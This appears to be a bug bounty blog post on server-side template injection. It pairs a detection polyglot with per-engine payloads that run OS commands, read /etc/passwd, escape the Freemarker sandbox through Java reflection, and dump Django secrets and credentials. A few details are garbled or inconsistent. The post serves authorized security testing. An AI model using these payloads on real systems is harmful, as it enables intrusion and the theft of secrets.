A glowing chess-piece queen made of code shattering through a curly brace; cyberpunk colour palette, dark background.

SSTI in 2026: From Polyglot Detection to RCE Across Six Engines

A practical SSTI playbook for the 2026 bug bounty hunter. Detection polyglot, engine fingerprinting, and the exact-payload-per-engine you need for ERB, Tornado, Freemarker (sandboxed and not), Handlebars, and Django — plus where to actually find SSTI in the wild today.

Server-Side Template Injection isn't extinct — it's just hiding in places nobody bothers to look. Custom-named-variable interpolators in invoice templates, AI-generated email subject lines, and white-label CMS settings are still 2026's gold mine if you know what to fuzz with and how to fingerprint the engine.

Six engines. Six payloads. Plus a single detection polyglot that fingerprints all of them in one request.

The detection polyglot

Drop this into every text input that smells like it might land in a template. Don't waste time identifying the engine first — let it tell you:

${{<%[%'"}}%\

This horror is built to:

  • ${...} — break Freemarker / JSP-EL / Spring SpEL
  • {{...}} — break Jinja2 / Twig / Handlebars / Django / Vue templates
  • <%...%> — break ERB / EJS
  • [%...%] — break Smarty / Velocity
  • ', " — close any quoted string context
  • }} — close mismatched template tags
  • \ — break naive string-escape attempts

Every server-side template engine raises a different error for this string. Read the stack trace and you have fingerprinted the engine in one shot. If the input is silently swallowed, try math:

{{7*7}}
${7*7}
<%= 7*7 %>
{{7*'7'}}        # Jinja2: '7777777'  Twig: 49
{% debug %}      # Django: full context dump

If you see 49 reflected in the rendered output, congratulations — you have SSTI.

Engine 1: ERB (Ruby on Rails)

Fingerprint: <%= ... %> syntax in the source view. Error mentions ERB or ActionView.

RCE payload:

<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read %>

If the app strips <%, try the literal-output variant:

<%= File.open('/etc/passwd').read %>

Real-world entry points:

  • Rails admin panels with custom email-template editors
  • Mailgun-style "build your own transactional email" features
  • White-label client portals where the admin lets the tenant customise their templates (multi-tenant SaaS gold mine)

Engine 2: Tornado (Python)

Fingerprint: {% block %}, {{ ... }}. Error mentions tornado.template.

Pattern: Tornado's templates are Python expressions. Fully escape the expression context first, then issue a block tag importing os:

{% import os %}{{os.popen('id').read()}}

If you are already inside an existing {{ var }} context (i.e. your input lands as the value of a variable), break out first:

}}{% import os %}{{os.popen('id').read()}}{{

Trigger gotcha: Tornado caches compiled templates. If your injection lands in a stored template, you may need to trigger a re-render — visit a URL with ?_=$(date +%s) or post a comment that forces the page to recompile.

CSRF tax: Most Tornado-backed apps gate POST endpoints with _xsrf tokens. Extract the token from the GET response, then submit with it.

Engine 3: Freemarker (Java)

Fingerprint: ${...} interpolation, <#assign> directives. Error mentions freemarker.core or TemplateException.

RCE payload (non-sandboxed):

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

Why it works: Freemarker's ?new() built-in instantiates a class by name. Execute is a built-in utility class that runs OS commands. One line, one shell.

Real-world entry points:

  • Atlassian Confluence templates (historical CVE-rich surface)
  • Liferay's velocity/freemarker editor for portal admins
  • Magnolia CMS, Pebble-derivative engines
  • Any Java web app where admins/tenants can edit "templates"

Engine 4: Freemarker SANDBOXED — Java reflection escape

When Freemarker is in static_text_only or has Execute blacklisted, you don't get a one-liner. You walk the Java reflection chain:

${object?api.class.protectionDomain.codeSource.location.toURI().resolve("/etc/passwd").toURL().openStream().readAllBytes()}

Output is a byte[]; convert to string client-side. The lab solution prints decimal ASCII codes you bytes.fromhex() together.

Why this still works in 2026: the sandbox blacklists named dangerous classes but doesn't prevent reaching Class itself via reflection on any object's ?api. The chain getClass().getProtectionDomain().getCodeSource().getLocation() is library-internal; you can't easily blacklist it without breaking the engine.

This is the highest-tier SSTI payload you will write — sandboxed engines are still the rule, not the exception. Every paid program with a Freemarker integration has this in scope and it triages fast because it bypasses the documented sandbox.

Engine 5: Handlebars (Node.js)

Fingerprint: {{ ... }} interpolation, helper blocks like {{#each}}, {{#with}}. Error mentions handlebars.js.

RCE payload — Function constructor via prototype chain:

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require(`child_process`).exec(`id`);"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

That's the textbook PortSwigger payload. In modern Handlebars, simpler reachable constructors via prototype-chain bouncing are still possible — the principle: any helper that gives you this access can lead to String.constructor and from there to Function, and from there to a require of the child-process module.

Real-world entry points:

  • Email-template editors in Node.js SaaS (Postmark/Mailgun-clone admin panels)
  • Markdown-with-Handlebars rendering for blog/CMS platforms
  • Custom Slack/Discord bot configuration with templated message formats

Engine 6: Django (Python) — info disclosure, not RCE

Fingerprint: {% ... %}, {{ ... }}, error stacktrace mentions django.template.

Default config has no RCE primitive. Django's template engine intentionally lacks attribute lookup that would let you reach Python builtins. But — info disclosure is huge:

{% debug %}

That single tag dumps the entire template context: request, settings, user, every variable in scope. If settings.SECRET_KEY is in scope (and on misconfigured deployments it often is), you have won:

  • Forge session cookies → account takeover
  • Forge CSRF tokens → bypass any CSRF protection
  • Sign URLs → defeat any signed-URL access control

Bounty-tier: SECRET_KEY leak is consistently P1/Critical on programs with Django stacks. You don't even need RCE.

Other Django leaks worth the report:

  • {{ settings.DATABASES }} — DB connection strings (often contains passwords)
  • {{ settings.AWS_ACCESS_KEY_ID }} — leaked cloud creds
  • {{ request.META }} — internal headers, CSRF tokens, auth tokens
  • {{ user.password }} — hashed but useful for offline crack

Where SSTI hides in 2026

Static lab payloads are easy. Finding an SSTI sink in a real bug bounty target requires knowing what kind of feature is built on a template engine without the developer realising they need to harden the input:

| Sink class | Why it's templated |
|---|---|
| Email/notification template editors | Tenants want to customise their transactional emails. The "Hi {{first_name}}, your order is {{order_id}}" UI almost always pipes user input through a real engine on the server. |
| Invoice/receipt PDF generators | "Add your store name and tagline" → tagline lands in a Freemarker/Handlebars template that renders to PDF. Most generators don't sandbox. |
| CMS page builders / drag-drop editors | Wix-clones, Webflow-clones, Shopify-style theme editors. The "Insert dynamic field" button is always a template-engine pipe. |
| Webhook-message formatters | "When a new order comes in, send a Slack message that says ..." — the user types the format string, the server interpolates. Slack/Discord/Teams integration patterns. |
| AI prompt customisation | "Customise your support bot's greeting" + "Use {{customer.first_name}}" → some unhardened backend interpolates BEFORE feeding the prompt to the LLM. SSTI in the AI prompt itself. This is the new 2026 surface. |
| Error-message localisation overrides | Multi-tenant SaaS where each tenant can override default error messages. The override is templated to interpolate dynamic context (request ID, error code). |
| Notification/alert rule conditions | Datadog/Splunk-clone alert formats: "alert: $service is down at $time" — server-side template. |
| Custom report builders | Analytics dashboards where users build report templates with merge fields. |

The ranking by 2026 hit rate (anecdotal, from huntr + H1 disclosed reports):

  1. AI prompt customisation surface — newest, lowest awareness
  2. Webhook-message formatters — easy to find via Burp
  3. Custom invoice/PDF generators — high-impact-when-found, scale to thousands of tenants
  4. Email-template editors — saturated, most mature programs have this hardened
  5. CMS page builders — almost all heavily-audited

Reporting tactics

A landing SSTI report has three sections:

  1. Detection evidence — your polyglot, the rendered error, the engine name on the line you fuzzed.
  2. Fingerprint confirmation — {{77}} rendered as 49, your specific math expression returning the engine's specific output (Jinja2's 7'7'='7777777' is the killer differentiator).
  3. RCE / data-leak proof — the exact engine-specific payload, the response showing uid=, the file contents, or the SECRET_KEY. Sanitised — never write your id output that exposes their internal hostnames or paths to the H1 thread; the program's triage team will ask for it on a call.

Bounty range expectations (from public disclosed reports):

  • Sandboxed-engine reflection escape (Freemarker/Velocity Java RCE): $5K-$15K
  • Direct RCE in unsandboxed engine (ERB/Tornado/Handlebars): $3K-$10K
  • Django SECRET_KEY leak via {% debug %}: $2K-$5K
  • Info disclosure (settings dump, no RCE): $500-$2K

Closing — why SSTI is still alive

The same SSTI bugs from the 2018 Black Hat talks are still landing CVEs in 2026. The reason isn't that developers don't know about SSTI — it's that template engines keep showing up in new feature surfaces (AI customisation, white-labelled invoice generators, low-code automation rules) where the security team hasn't yet noticed they exist.

The bug bounty hunter's edge in 2026 is knowing what features are template-engine-backed before the dev team's threat model catches up. The list above is your map.

Hunt well. Don't punish yourself with payload memorisation — the polyglot fuzzes everything in one request, and the engine tells you what it is. Then look up the engine-specific RCE one-liner from your notes and trigger it.

The whole loop is 15 minutes per finding. The bounty is 4 figures. The math is good.

No comments yet